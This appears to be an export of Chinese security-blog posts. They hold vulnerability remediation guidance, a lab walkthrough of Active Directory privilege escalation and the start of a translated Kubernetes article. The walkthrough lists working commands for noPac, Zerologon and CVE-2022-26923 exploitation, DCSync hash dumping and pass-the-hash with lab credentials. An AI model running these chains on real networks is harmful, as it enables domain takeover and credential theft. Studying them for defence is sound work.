中危\n详情：\n检测 App 程序是否可以在被 Root 的手机设备中运行。\n造成的危害：\n为了获取更大的手机自主使用功能，如卸载应用、禁用自启动程序等，不少用户会将手机进行 Root 处理以获取 Root 权限。Root 权限包括：超越任何用户和用户组来对文件或目录进行读取、修改或删除；对可执行程序的执行、终止；对硬件设备的添加、创建和移除等；也可以对文件和目录进行属主和权限进行修改，以适合系统管理的需要。获取 Android 的 Root 权限通常是通过系统漏洞，替换或添加可绕过用户验证的可执行 SU 程序。在给手机用户赋予 Root 权限的同时，也给了其他应用获取 Root 权限的可能性。恶意程序可能在用户不知情的情况下申请 Root 权限，读取到其他应用的文件或者进程中的敏感信息，例如支付宝、手机银行等应用的账号和密码等；或者任意读取手机中的短信记录和联系人信息；也可能获取到系统权限的重启功能，恶意重启或关闭设备。\n检测结果:\n存在风险，该 App 可以在被 Root 的手机中运行。\n修复建议：\n1. 开发者应在应用启动时增加对应用运行环境的检测，当发现运行设备为 Root 设备时，应禁止应用启动。 2. 通过 which 命令检测系统 PATH 变量指定的路径下是否存在 su 程序来检测运行环境是否为 Root 设备。 不安全的浏览器调用漏洞\n漏洞评级建议: 中危\n详情：\n检测 App 中是否存在不安全的浏览器调用漏洞。\n造成的危害：\nChrome V8 引擎 3.20 至 4.2 版本中存在远程代码执行漏洞（CNNVD-201608-414）。该漏洞是由于源代码中 “observe_accept_invalid” 异常类型被误写为“observe_invalid_accept”，造成 kMessages 关键对象信息泄露，从而可利用该漏洞执行任意代码。远程攻击者可通过诱使用户扫描二维码或者诱使用户点击恶意链接对应用进行攻击，可能导致用户隐私泄露，如通讯录，短信，录音，录像等；用户财产损失，如窃取支付密码、钱包密码等；远程控制手机等。\n检测结果:\n该 Apk 经过加固保护，源代码中可能存在的不安全的浏览器调用漏洞险已被屏蔽。\n代码审计 B/S 任意文件上传漏洞\n漏洞评级建议: 高危\n漏洞类型: 文件上传\n详情\n代码审计过程中发现目标站点存在文件上传漏洞, 应用系统在文件上传功能处对用户上传文件类型、格式、内容等未做合法性校验，导致攻击者可以上传 Webshell（.php、.jsp、asp 等）恶意脚本文件或者非期望格式的文件比如：HTML 文件、SHTML 文件等，同时可利用目录跳转等字符或者控制上传目录，直接上传文件到 Web 目录或任意目录下，从而可能导致在远程服务器上执行任意恶意脚本文件，从而直接获取应用系统权限。\n造成的危害\n上传恶意脚本文件到服务器中，通过访问该恶意文件从而执行文件中的恶意代码； 攻击者可利用目录跳转上传 php、config 等文件，覆盖原有的系统文件，到达篡改系统文件、甚至获取系统权限的目的； 攻击者可上传 html、shtm 等文件，并写入非法博彩、赌博等恶意 SEO 页面或者写入恶意 js 文件进行钓鱼来非法获取用户信息等； 修复建议\n代码层面\n服务端采用白名单方式校验文件后缀，不建议采用黑名单方式校验后缀，黑名单方式校验可能导致攻击者利用文件特性、系统特性、黑名单不全等方式进行绕过攻击； 服务端对上传文件进行重命名，防止利用目录跳转等方式控制上传目录； 服务端使用系统函数来判断文件类型及文件内容是否合法，比如 PHP 中的 getimagesize； 对上传的文件回显相对路径或者不显示路径； 限制文件上传类型，限制上传文件大小，并确保上传文件被访问正确返回； 其他层面\n建议使用 OSS 静态存储服务器来存储用户上传的文件； 设置目录权限限制，禁止上传目录的执行权限； 保证使用的 Nginx、Apache、IIS 等容器版本不存在解析漏洞； 保证使用的第三方处理软件的版本比如 FFmpeg、ImageMagick 等不存在已知漏洞； 确保上传的文件放在安全的路径下，必要时可以将上传的文件存在 web server 之外的远程服务器； JAVA\nJAVA 版本不要使用小于 jdk-7u40 版本，避免存在 0x00 截断漏洞。 PHP\n添加判断文件类型时，可以结合使用 MIME Type、后缀检查等方式。在文件类型检查中，推荐白名单方式，此外，对于图片的处理，可以使用压缩函数或者 resize 函数，在处理图片的同时破坏图片中可能包含的 HTML 代码。 白名单过滤，在获取到文件扩展名后对 WhiteList 数组里的扩展名迭代判断，如果文件扩展名被命中，程序将认为文件是合法的，否则不允许上传。 Apache\n在使用多后缀名时，后缀验证尽量使用白名单的方式，这样即使使用不存在的后缀名，也无法绕过。 Apache 配置文件中，Order Allow,Deny，Deny from all。禁止. php. 这样的文件执行 关闭 Apache 配置文件中的 .+.ph(p[345]?|t|tml) 此类的正则表达式, 防止 php3，php4，php5，pht，phtml 解析。 htaccess 文件 代码执行漏洞\n漏洞评级建议: 高危\n漏洞类型: 代码执行\n详情\n在代码审计过程中发现，在系统命令执行处，输入的信息未作严格校验，对用户输入的命令没有进行限制或者过滤不严，此时攻击者通过提交恶意构造的参数破坏命令语句结构，导致攻击者可以达到执行恶意命令的目的。\n造成的危害\n攻击者可在应用处通过利用拼接、管道符、通配符等绕过手段来执行任意命令，写入后门，从而入侵服务器，获取服务器权限，直接导致服务器沦陷。\n修复建议\n在代码级调用 shell 时，对命令行中的特殊字符（比如|、\u0026、；等）进行转义，防止执行其他非法命令。 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。 PHP 中可使用 escapeshellarg、escapeshellcmd 来转义对应敏感字符。 对于相关敏感的命令执行函数，做好参数校验和合法性验证，或者直接在配置文件中禁用该函数，不要让用户可以直接控制 eval、system、exec、shell_exec 等函数的参数 。 JAVA 查看是否有此系统命令的编程替代实现，尽量减少软件中对系统命令的调用。 关闭前端或中间件自带的系统命令调试台，禁止前端使用者可以修改系统命令参数。 根据业务逻辑进行白名单方式校验或使用正则表达式进行过滤。 调用 /command/exec/string,/command/exec/array,/command/processbuilder 参数时对命令行中的特殊字符（比如|、\u0026、；等）进行转义，防止执行其他非法命令。 管理员认证绕过漏洞\n漏洞评级建议: 高危\n漏洞类型: 逻辑缺陷\n详情\n在代码审计过程中，发现后端在判断是否是管理员后，将该值传到前台存储。若攻击者修改返回包中的该值，可能导致后端敏感接口泄露。应用程序未对当前用户操作的身份权限进行严格校验，导致用户可以操作超出自己管理权限范围的功能，从而操作一些非该用户可以操作的行为。\n水平越权 攻击者可以访问与他拥有相同权限的用户的资源，资源权限 ID 不变，资源归属 ID 改变； 垂直越权 低级别攻击者可以访问高级别权限用户的资源，资源权限 ID 不变，资源归属 ID 改变； 低级别攻击者可以访问高级别权限用户的资源，资源权限 ID 改变，资源归属 ID 不变； 造成的危害\n水平越权 水平越权会导致同一层级间的用户可以互相访问到对方的敏感信息，如姓名、手机号、联系地址、个人资料、订单记录等。同时还可能会以其他平级权限用户的身份来执行某行功能，如删除，添加，修改等。 垂直越权 垂直越权漏洞会导致低权限用户用来执行高权限用户的功能，获取高权限用户的账号信息，执行高权限用户的操作功能。 修复建议\n代码层面\n日常开发中要多留意业务逻辑可能出现的漏洞和水平权限漏洞或者其它未发现的漏洞。 鉴权，服务端对请求的数据和当前用户身份做校验; 完善基础安全架构，完善用户权限体系。 对于后台接口，确保所有 API 接口先经过登录控制器。 在验证用户身份权限前不进行任何数据的交互。 严格校验当前用户操作与当前登录用户身份权限是否匹配。 JAVA\n页面传递过来比对 根据 userId 查询数据库查到的权限列表 通过 Spring AOP 和自定义函数实现认证明确模块权限值 获取用户权限存入 session，然后用户操作资源时会提交一个资源的权限值，在判断用户是否包含有此权限。 创建一个代理类使用 @Aspect @Component 注解进行标记 编写一个增强：@Around(value=“pointcut()”) 判定用户是否登录 获取用户权限 将权限存入 session 给后端页面判断 后台的权限校验 任意文件下载漏洞\n漏洞评级建议: 高危\n漏洞类型: 信息泄露\n详情\n代码审计过程中发信息，在读取文件内容文件或文件下载处，未严格限制读取/下载文件的路径及文件后缀，导致可利用../，#等目录操作字符进行目录穿越、截断等手段，从而读取/下载服务器上任意文件，比如配置文件等。\n造成的危害：\n如果系统未对读取/下载文件的文件目录做限制，攻击者利用此漏洞可直接读取web目录下任意文件，比如配置文件、数据库文件等，甚至直接获取服务器上任意文件内容。\n修复建议：\n常规修复\n配置文件：在配置文件中限制访问的文件目录，比如 PHP 中 php.ini 配置 open_basedir 特殊字符过滤：检查用户输入，过滤或转义含有“../”、“..\\”、“%00”，“..”，“./”，“#”等跳转目录或字符终止符、截断字符的输入 合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等 白名单：白名单限定访问文件的路径、名称及后缀名 PHP\nphp.ini配置open_basedir限定文件访问范围 过滤.(点)，使用户在url中不能回溯上级目录 JAVA\n使用 path.eqals 对下载的文件路径进行严格控制，只允许下载某部分目录下的文件。 使用 name.lastIndexOf 获取文件后缀名并做白名单严格控制。 使用悬空指针\n漏洞评级建议: 中危\n漏洞类型: 逻辑缺陷\n详情\n在代码审计过程中，发现代码中使用了悬空指针来引用无效的内存资源。\n造成的危害\n悬空指针是引用无效或不正确的内存资源的指针。引用这些内存资源可能会造成内存损坏，从而导致不可预测的程序行为或系统不稳定。访问\"不安全可控”(invalid)的内存区域将导致\"Undefined Behavior\"。\n修复建议\n在释放一块内存时，将指向这块内存的指针变量设置为 NULL。访问指针变量前，先判断是否为 NULL。 当有多个指针变量都指向同一块内存时，释放这块内存时，需要将所有指针变量的值都置为 NULL，这需要维护所有指向这块内存的指针变量的信息，但是这种方式开销大，所以通常很少使用。使用频率不是非常高的对象，可以在使用前先根据 id 等索引查找，如果找不到，则不要使用。如果有使用者时，不能释放这块内存，我们可以使用引用计数。 错误调用标准库\n漏洞评级建议: 中危\n漏洞类型: 错误调用\n详情\n在代码审计过程中发现，该程序正调用标准库函数，但未能检查并处理函数的错误返回。\n造成的危害\n该程序正调用标准库函数。这些函数通常返回一个有效值，或某种形式的值以表示有错误发生。未能检查调用是成功还是失败可能造成意外或未定义行为。\n修复建议\n当调用系统函数，有些函数并不需要对其返回值进行检查。 请参考语言或系统规范，以获得对标准接口的完整使用方式。 日志污染\n漏洞评级建议: 中危\n漏洞类型: 特殊字符过滤\n详情\n在代码审计过程中发现，程序将用户未经过滤的输入包含在日志中。\n造成的危害\n包含未经清理的用户输入的日志可能导致导致敏感数据泄露，甚至使得攻击者利用有效日志来进行日志注入攻击。\n修复建议\n不信任用户提交的任何内容，对所有用户提交内容进行可靠的输入验证，包括对 URL、查询关键字、HTTP 头、REFER、POST 数据等，仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交，对其他的一律过滤。尽量采用 POST 而非 GET 提交表单; 对 “\u003c\"，\"\u003e\"，”;\"，\"\"\" 等字符做过滤; 不要将用户输入的所有信息都保存到日志，进行过滤和筛选，只保留有用信息即可 冗余的控制语句\n漏洞评级建议: 低危\n漏洞类型: 冗余语句\n详情\n在代码审计过程中发现，程序语言设计时，存在大量冗余的控制语句。\n造成的危害\n当两个条件语句在执行流中有依赖时，一个条件可以在逻辑上包含另一个条件语句。在这种情况下，其中一个条件是多余和不必要的，这种情况可能是编辑错误造成的。\n修复建议\n检测并删除无效或从未执行的代码。 请参考语言或系统规范，以获得对标准接口的完整使用方式，避免出现多余代码。 SQL注入漏洞\n漏洞评级建议: 高危\n漏洞类型: SQL注入\n详情：\nWeb 程序中对于用户提交的参数未做过滤直接拼接到 SQL 语句中执行，导致参数中的特殊字符破坏了 SQL 语句原有逻辑，攻击者可以利用该漏洞执行任意 SQL 语句，如查询数据、下载数据、写入 webshell、执行系统命令以及绕过登录限制等, SQL 注入漏洞允许攻击者通过操纵用户输入来更改后端 SQL 语句。当 web 应用程序接受直接放入 SQL 语句的用户输入，并且没有正确过滤掉危险字符时，就会发生 SQL 注入。\n造成的危害：\n攻击者可以在易受攻击的系统上执行任意 SQL 语句。根据正在使用的后端数据库， SQL 注入漏洞会导致攻击者访问不同级别的数据/系统。在某些情况下，可以读入或写出文件，或者在底层操作系统上执行 shell 命令。\n修复建议：\n输入验证\n类型判断：字符型、整型； 长度判断：设置最大长度值； 业务参数合法性判断：比如支付金额不可能为负值这种； 特殊字符过滤：比如’，\"，\\，\u003c，\u003e，\u0026，*，;，#，select，from，where，sub，if，union，sleep，and，or 等； 验证所有的输入点，包括 UA、Cookie 以及其他 HTTP 头； 预编译处理 \u0026 参数化查询\n所有与数据库交互的业务接口均采用参数化查询，参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中，参数化查询是防御 SQL 注入的最佳方法，比如：Java 中的 PreparedStatement，PHP 中的 PDO 等。 特定语言漏洞 PHP PHP 反序列化\n漏洞评级建议: 高危\n漏洞类型: 代码执行\n详情：\n在代码审计过程中发现，程序没有对用户输入的反序列化字符串进行检测，导致反序列化过程可以被恶意控制，进而导致任意代码执行漏洞，获取服务器权限等危险操作。\n造成的危害：\n攻击者可以构造恶意信息，服务器收到该恶意代码后解析出的命令可能会造成信息泄露或者被攻击者直接用拿下主机服务器等安全风险。\n修复建议：\n对传入的对象进行严格的过滤检查。 在反序列化过程执行的文件读写、命令或代码执行函数中是否有用户可控的参数。 PHP 中反序列化和一些魔术方法结合使用时就可能会产生安全风险： maniac 实例化，构造方法 (__construct) 被调用；反序列执行，析构方法 (__destreuct) 被调用；当没有传入合法的序列化字符串，就会自动调用 action 解析方法，做好过滤特殊函数。 unserialize()会自动调用__wakeup(),__wakeup 中实例化目标对象, 这时会调用构造函数__construct，因为构造函数被调用，所传入的参数会作为 fwrite 的参数写入用户恶意文件，做好过滤特殊函数，以防止任意代码执行漏洞。 用户传入的参数被反序列化，导致魔术方法__wakeup 被自动调用，这时参数传入的值将被作为 eval 的参数使用，对输入的数值进过滤，去除特殊构造语句，可修复 PHP 反序列化漏洞。 java 安全性低的随机函数\n漏洞评级建议: 低危\n漏洞类型: 敏感数据泄露\n详情：\n在代码审计过程中发现，该程序使用了安全性不强的随机数生成器。\n造成的危害：\nJava API 在 java.util.Random 类里提供 PRNG(随机数)，当使用了相同种子时它会生成相同的序列。\n修复建议：\n使用 java.security.SecureRandom 类这样的更安全的 PRNG(随机数)。 测试项 弱口令组合爆破测试\n详情\n渗透测试过程中对目标系统/登录页面进行弱口令组合爆破测试，测试使用 TOP1000 弱口令组合字典。\n测试结果\n经检测，截至爆破结束，未发现目标系统/登录页面存在弱口令组合。\n敏感文件目录爆破测试\n详情\n渗透测试过程中对目标 URL 进行目录扫描、敏感文件扫描，使用 TOP5000 常见路径字典和 TOP1000 备份文件字典。\n测试结果\n经检测，截至爆破结束，未发现目标存在敏感文件目录。\n任意文件上传测试\n详情\n渗透测试过程中对目标编辑器上传页面进行任意文件上传漏洞测试。\n测试结果\n使用多个服务器可执行文件后缀对目标进行测试，经检查上传失败，未发现存在文件上传漏洞。\nRDP 爆破测试\n详情\n渗透测试过程中发现目标主机开启 RDP 服务，对目标服务使用 TOP1000 弱口令组合进行爆破测试。\n测试结果\n经检测，截至爆破结束，未发现目标 RDP 服务存在弱口令组合。\nStruts2 漏洞测试\n详情\n渗透测试过程中使用工具对目标网站进行 Apache Struts2 框架漏洞测试。\n测试结果\n使用渗透测试工具测试，经检查，未发现目标网站存在 Apache Struts2 框架漏洞。\nXSS 漏洞测试\n详情\n渗透测试过程中对目标网站进行 XSS 漏洞测试，如果利用成功，攻击者可窃取用户 cookie 信息，登录后台获取用户敏感数据。\n测试结果\n使用 TOP10000 xss 漏洞代码，经检查，未发现目标存在 XSS 漏洞。\nSQL 注入测试\n详情\n渗透测试过程中发现目标存在搜索功能，对目标搜索接口进行 SQL 注入测试。该漏洞可以获取到数据库的所有数据，甚至可以获得主机权限。\n测试结果\n经检测，未注入成功，未发现目标存在SQL 注入漏洞。\nOracle 远程数据投毒漏洞测试\n详情\n对目标 Oracle 数据库进行远程数据投毒漏洞测试。该漏洞可以远程获取到 Oracle 的内存信息，若是能获取到内存中的数据即为存在漏洞，进而可以再爆破 Oracle 的 SID。\n测试结果\n经检查，目标不存在 Oracle 远程数据投毒漏洞。\nTLS 安全可靠性测试\n详情\n对目标 TLS 安全可靠性进行了扫描，测试了常见 TLS 存在的漏洞及加密认证方式支持程度。\n测试结果\n经检查，发现不存在可实际利用的中高危漏洞。\nURL 跳转漏洞测试\n详情\n渗透测试过程中，对目标网站进行 URL 跳转漏洞测试，通过常见 Top100 跳转参数生成 URL 跳转字典。\n测试结果\n对字典批量生成的大量跳转结果进行验证，未发现目标存在 URL跳转漏洞。\nCORS 漏洞测试\n详情\n渗透测试过程中，对目标进行 CORS 漏洞测试。\n测试结果\n经检测，未利用成功，未发现目标存在 CORS 漏洞。\nxxx 未授权访问漏洞测试\n详情\n渗透测试过程中，对目标 XXX 服务进行未授权访问漏洞测试。若利用成功，该漏洞无需认证即可访问目标服务管理页面, 并有部分操作数据的权限且泄露数据信息。\n测试结果\n经检测，漏洞未能利用成功，未发现目标存在 xxx 未授权访问漏洞。\nJQuery XSS 测试\n详情\n渗透测试过程中，发现目标站点存在 JQuery 框架库，所引用的 jQuery 版本可能会存在 XSS 漏洞。\n测试结果\n通过 JQuery XSS 测试模板检测，目标站点 JQuery 框架库未发现 XSS 漏洞。\nApache Log4j 测试\n详情\n渗透测试过程中，对目标进行 Apache Log4j 远程代码执行漏洞测试。\n测试结果\n经检测，未利用成功，未发现目标存在 Apache Log4j 远程代码执行漏洞。\nwadl/SOAP 接口 Fuzz 测试\n详情\n渗透测试过程中，对目标暴露的 wadl/SOAP 接口进行 Fuzz 测试, 探测可能存在的 xxe、sql 注入等漏洞问题。\n测试结果\n经检测，未利用成功，未发现目标 wadl/SOAP 接口存在可能的注入漏洞。\n凑数 密码明文传输\n漏洞评级建议: 低危\n漏洞类型: 信息泄露\n详情\n用户登录过程中使用明文传输用户登录信息，若用户遭受中间人攻击时，攻击者可直接获取该用户登录账户，从而进行进一步渗透。\n造成的危害\n明文传输用户账号密码，存在被中间人攻击、窃取密码的风险。\n修复建议\n用户登录信息使用加密传输，如密码在传输前使用安全的算法加密后传输，可采用的算法包括：不可逆 hash 算法加盐（4 位及以上随机数，由服务器端产生）；安全对称加密算法，如 AES(128、192、256 位)，且必须保证客户端密钥安全，不可被破解或读出；非对称加密算法，如 RSA(不低于 1024 位)、SM2 等。 使用 https 来保证传输的安全。 JQuery 版本过低存在 XSS 漏洞风险\n漏洞评级建议: 低危\n漏洞类型: 版本过低\n详情\n渗透测试过程中，发现目标站点存在 JQuery 框架库漏洞，所引用的 jQuery 版本可能会存在XSS漏洞。\n造成的危害\n目标网站使用了存在漏洞的 JQuery 库，jQuery 中过滤用户输入数据所使用的正则表达式存在缺陷，可能导致 location.hash 跨站脚本攻击。攻击者可以利用此漏洞进行 XSS、cookioe 劫持等攻击。\n修复建议\n更新 jQuery 到 3.5.0 或更高版本。 使用全局的 XSS 过滤清理用户输入的 HTML。 缺少 Content-Security-Policy 头\n漏洞评级建议: 低危\n漏洞类型: 配置不当\n详情\n远程网络应用程序未设置 Content-Security-Policy 响应头。\n造成的危害\nContent-Security-Policy 响应头的缺失使得目标 URL 更易遭受跨站脚本攻击。\n修复建议\n需要在 Web 应用程序的所有页面上设置以下响应头：Content-Security-Policy: default-src ‘self’\n缺少 X-Content-Type-Options 头\n漏洞评级建议: 低危\n漏洞类型: 配置不当\n详情\nX-Content-Type-Options HTTP 消息头相当于一个提示标志，被服务器用来提示客户端一定要遵循在 Content-Type 首部中对 MIME 类型 的设定，而不能对其进行修改。远程网络应用程序未设置 X-Content-Options 响应头,这就禁用了客户端的 MIME 类型嗅探行为。\n造成的危害\nX-Content-Type-Options 响应头的缺失使得目标 URL 更易遭受跨站脚本攻击。\n修复建议\n需要在 Web 应用程序的所有页面上设置以返回头：X-Content-Type-Options：nosniff , 这样页面中 script 和 styleSheet 元素会拒绝包含错误的 MIME 类型的响应。这是一种安全功能，有助于防止基于 MIME 类型混淆的攻击。\n缺少 X-Frame-Options 头\n漏洞评级建议: 低危\n漏洞类型: 配置不当\n详情\n远程 Web 应用程序未设置 X-Frame-Options 响应头。微软已经提出 X-Frame-Options 作为缓解点击劫持攻击的一种方法，并且已经在 Chrome 和 Safari 中实施。\n造成的危害\n攻击者可以使用一个透明的、不可见的 iframe，覆盖在目标网页上，然后诱使用户在该网页上进行操作，此时用户将在不知情的情况下点击透明的 iframe 页面。通过调整 iframe 页面的位置，可以诱使用户恰好点击 iframe 页面的一些功能性按钮上，导致被劫持。\n修复建议\n修改 web 服务器配置，添加 X-frame-options 响应头。赋值有如下三种： （1）DENY：不能被嵌入到任何 iframe 或 frame 中。 （2）SAMEORIGIN：页面只能被本站页面嵌入到 iframe 或者 frame 中。 （3）ALLOW-FROM uri：只能被嵌入到指定域名的框架中。 也可在代码中加入，在 PHP 中加入： header('X-Frame-Options: deny'); 缺少 x-xss-protection 头\n漏洞评级建议: 低危\n漏洞类型: 配置不当\n详情\n远程网络应用程序未设置 x-xss-protection 响应头。X-XSS-Protection 响应头是 Internet Explorer，Chrome 和 Safari 的一个特性，当检测到跨站脚本攻击 (XSS)时，浏览器将停止加载页面。\n造成的危害\nX-XSS-Protection 响应头的缺失使得目标 URL 更易遭受跨站脚本攻击。\n修复建议\n需要在 Web 应用程序的所有页面上设置以下响应头：X-XSS-Protection：1; mode=block\n启用了危险的 Method\n漏洞评级建议: 低危\n漏洞类型: 配置不当\n详情\n目标服务器启用了不安全的传输方法，如 PUT、TRACE、DELETE、MOVE 等，这些方法表示可能在服务器上使用了 WebDAV，由于 dav 方法允许客户端操纵服务器上的文件，如上传、修改、删除相关文件等危险操作，如果没有合理配置 dav，有可能允许未授权的用户对其进行利用，修改服务器上的文件。\n造成的危害\n恶意攻击者可能使用该方法修改服务器上的任意文件，从而给用户造成数据损失，系统损坏等结果。\n修复建议\n正确配置的 WEB 服务器不应允许任意用户随意使用危险的方法在服务器上对文件进行修改，因此建议：\n如果实在必要，请进行配置，限定这些 Http 方法能够操作的目录为指定目录，该目录不应包含重要的文件； 如非必要，关闭不安全的传输方法，只开启POST、GET方法。 如果服务器不使用 WebDAV 可直接禁用，或为允许webdav的目录配置严格的访问权限，如认证方法，认证需要的用户名，密码。 参考链接\nhttps://www.pentestpartners.com/security-blog/vulnerabilities-that-arent-cross-site-tracing-xst/ ","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%BC%8F%E6%B4%9E%E4%BF%AE%E5%A4%8D%E8%A7%84%E8%8C%83%E6%8F%8F%E8%BF%B0/","summary":" 最后修改时间 2023-07-20 修改人：BlueDog - 将不定期刷新该文档 ","tags":["技术实践","漏洞研究","标准解读"],"title":"漏洞\u0026加固规范描述","unix":1689818400,"year":"2023"},{"date":"2023-07-20","dateISO":"2023-07-20","permalink":"https://bluedog.website/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8-%E5%9F%9F%E6%8E%A7%E6%8F%90%E6%9D%83/","plain":"CVE-2021-42287 由于Active Directory没有对域中计算机和服务器账号进行验证，经过身份验证的攻击者利用该漏洞绕过完全限制，可将域中普通用户权限提升为域管理员权限并执行任意代码。\n利用条件 前提条件：一个域内普通账号 影响版本：Windows基本全系列\n漏洞复现 当前场景如下，目前已经获得了Web Server的主机权限和webadmin这个域成员的账号和密码，来使用CVE-2021-42287漏洞来攻击域控主机 这里我们可以使用nopac脚本来进行利用 在攻击前先将该域名和IP地址绑定在hosts中 检测是否存在漏洞\nnoPac.exe scan -domain god.org -user webadmin -pass admin!@#45 漏洞存在，接下来我们使用域普通用户的TGT，利用漏洞请求TGS申请域控机器账户 cifs服务的ST凭证\nnoPac -domain god.org -user webadmin -pass admin!@#45 /dc owa2010cn-god.god.org --impersonate administrator -dump -use-ldap 生成票据后我们再来查看一下当前电脑上所存在的票据\nklist 发现有一条和域控建立的票据，这里我们直接使用psexec连接即可\nPsExec \\\\owa2010cn-god.god.org cmd CVE-2020-1472 CVE-2020-1472是一个windows域控中最严重的远程权限提升漏洞，攻击者通过NetLogon，建立与域控间易受攻击的安全通道时，可利用此漏洞获取域管访问权限\n首先先获取域控的计算机名\nnet group \"domain controllers\" /domain 然后使用测试脚本去检测该域控是否存在漏洞\npython zerologon_tester.py owa2010cn-god 192.168.3.21 然后使用exp连接DC清空凭证\npython cve-2020-1472-exploit.py OWA2010CN-GOG 192.168.3.21 执行后，会将DC的密码置空，然后我们再使用空密码连接将域内的HASH导出出来\nsecretsdump.exe \"god.org/owa2010cn-god$@192.168.3.21\" -no-pass 这时我们在使用域控的hash去进行PTH连接，拿到域控权限\nwmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 god/admin CVE-2022-26923 该漏洞允许低权限用户在安装了Active Directory证书服务（AD CS）服务器角色的默认Active Directory环境中将权限提升为域管理员。现在已经很少没有安装AD CS的大中型Active Directory环境，所以该漏洞危害和利用性都较强。\n利用条件 前提条件：\n域内普通账号 域内存在证书服务器 影响版本：win8.1、win10、win11、Windows Server 2012 R2、Windows Server2016、Windows Server2019、Windows Server2022等版本\n环境搭建 首先准备一台已搭建域服务的主机，这里选择Windows Server 2012R2版本。因为这个漏洞基于证书服务，所以需要DC中安装Active Directory证书服务。点击添加角色和功能，默认下一步直到下图，选择安装Active Directory证书服务： 下一步到角色服务中，勾选证书颁发机构、证书颁发机构web注册、证书注册策略Web服务 点击安装即可 安装完成后需要配置Active Directory证书服务，在服务器管理器中单击该选项。 选择刚刚安装时所勾选的三个服务后默认下一步到CA名称中 配置CA证书后，下一步到服务器证书 在服务器证书中，选择证书并稍后为SSL分配，点击下一步 下一步配置 查看是否配置成功：在证书颁发机构中查看是否存在证书模板 该漏洞的利用条件为获得一个域内普通用户权限，所以需要在DC上创建一个用户，之后便会使用这个用户的凭据进行域控提权操作。 漏洞利用 获取CA名称 目前我们的已知信息\n域控Win 2012 IP：192.168.45.152 主机名：DC-2012 域名：tidesec.local 用户：test/Pass123 接下来第一步我们需要获取该域内的CA名称\n任意域内主机查询 查看是否存在证书驱动器 Get-PSDrive cert | ft -AutoSize 列出本地机器账户的证书 Get-ChildItem Cert:\\LocalMachine\\Root 域控上查询 certutil certutil -config - -ping 3. 合理猜测 根据域控主机名和域名进行猜测\n域控主机名：DC-2012 域名：tidesec.local CA名称：tidesec-DC-2012-CA 申请证书 在申请证书前，需要先修改一下我们攻击机的hosts文件，将域名和ip地址对应一下\nvim /etc/hosts 192.168.45.152 tidesec.local 192.168.45.152 tidesec-DC-2012-CA 192.168.45.152 DC-2012.tidesec.local 这里需要使用到certipy工具，在使用前先进行安装\npython3 setup.py install 安装后使用我们刚刚所获得的低权限用户、CA名、域控计算机名来生成一个证书\ncertipy req tidesec.local'test:Pass123'@DC-2012.tidesec.local -ca tidesec-DC-2012-CA -template User 申请ceshi用户证书账号成功后，执行命令来验证该证书，获取其NT hash值\ncertipy auth -pfx test.pfx 成功获取到了NT hash，说明测试环境没有问题，接下来需要使用bloodyAD来新建一个机器账号 在新建账号前我们先观察一下，当前域控下的Computers下是没有账号的， 接下来新建一个\npython3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 addComputer test2 'Test12345' 这时再来观察下域控中成功添加了一个test2的机器账户， 接下来设置其dNSHostName 属性为域控服务器属性\npython3 bloodyAD.py -d tidesec.local -u test -p 'Pass123' --host 192.168.45.152 setAttribute 'CN=test2,CN=Computers,DC=tidesec,DC=local' dNSHostName '[\"DC-2012.tidesec.local\"]' 接下来我们再用刚新建的机器账号test2去申请证书，其实是申请的域控DC$的证书\ncertipy req 'tidesec.local/test2$:Test12345@192.168.45.152' -template Machine -dc-ip 192.168.45.152 -ca tidesec-DC-2021-CA 可以看到此时的证书不是test.pfx，是主机名dc-2012.pfx，颁发的是域控制器的计算机账户证书，。接下来我们使用该证书进行认证，Certipy工具检索到了DC-2012$的NTLM hash。\ncertipy auth -pfx dc-2012.pfx -dc-ip 192.168.45.152 然后我们可以使用impacket工具包中的secretsdump.py脚本来执行DCSync攻击，导出域内用户Hash\npython3 secretsdump.py 'tidesec.local/DC-2012$@DC-2012.tidesec.local' -hashes :20d4bd2f70725811f4e39fe77166e00b 之后在使用wmiexec.py脚本去获得域控账户的执行权限\npython3 wmiexec.py tidesec.local/administrator@192.168.45.152 -hashes aad3b435b51404eeaad3b435b51404ee:ccef208c6485269c20db2cad21734fe7 ","relPermalink":"/posts/archive/%E6%8A%80%E6%9C%AF%E5%A5%BD%E6%96%87/%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8-%E5%9F%9F%E6%8E%A7%E6%8F%90%E6%9D%83/","summary":"由于Active Directory没有对域中计算机和服务器账号进行验证，经过身份验证的攻击者利用该漏洞绕过完全限制，可将域中普通用户权限提升为域管理员权限并执行任意代码。","tags":["技术实践","漏洞研究"],"title":"横向移动-域控提权","unix":1689818400,"year":"2023"},{"date":"2023-07-19","dateISO":"2023-07-19","permalink":"https://bluedog.website/posts/archive/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91/%E5%A5%BD%E6%96%87%E7%BF%BB%E8%AF%91%E5%A2%9E%E5%BC%BA%E4%BA%91%E5%AE%89%E5%85%A8kubernetes-%E5%AE%89%E5%85%A8%E7%9A%84%E5%9B%9B%E4%B8%AA%E5%85%B3%E9%94%AE%E5%AE%9E%E8%B7%B5/","plain":"原文地址：https://cloudsecurityalliance.org/blog/2023/07/19/enhancing-cloud-security-four-vital-practices-for-kubernetes-security/\n原文作者：Upkar Lidder 是 Tenable 的高级产品经理。他在 IT 开发方面拥有 10 多年的经验，包括团队管理、职能领导和技术领导角色。他带来了全栈技术方面的丰富经验。Upkar 目前专注于左移、容器和云原生环境中的安全性和 DevSecOps\n译者：BlueDog\n在当今快速发展的云环境中，确保 Kubernetes 环境的强大安全措施对于组织来说已变得至关重要。虽然云原生基础设施的优势是不可否认的，但安全团队常常难以解决 Kubernetes 管理核心的安全难题。他们知道需要一种方法将安全性嵌入到标准开发人员工作流程和集群部署中，但总而言之，创建连续且安全的 GitOps 非常困难\n在这篇博文中，我们将深入研究四个可以立即实施的关键最佳实践，以增强 Kubernetes 部署的安全性并保护您的云原生基础设施\n使用可靠的策略管理Kubernetes错误配置 建立和执行可靠的策略是增强 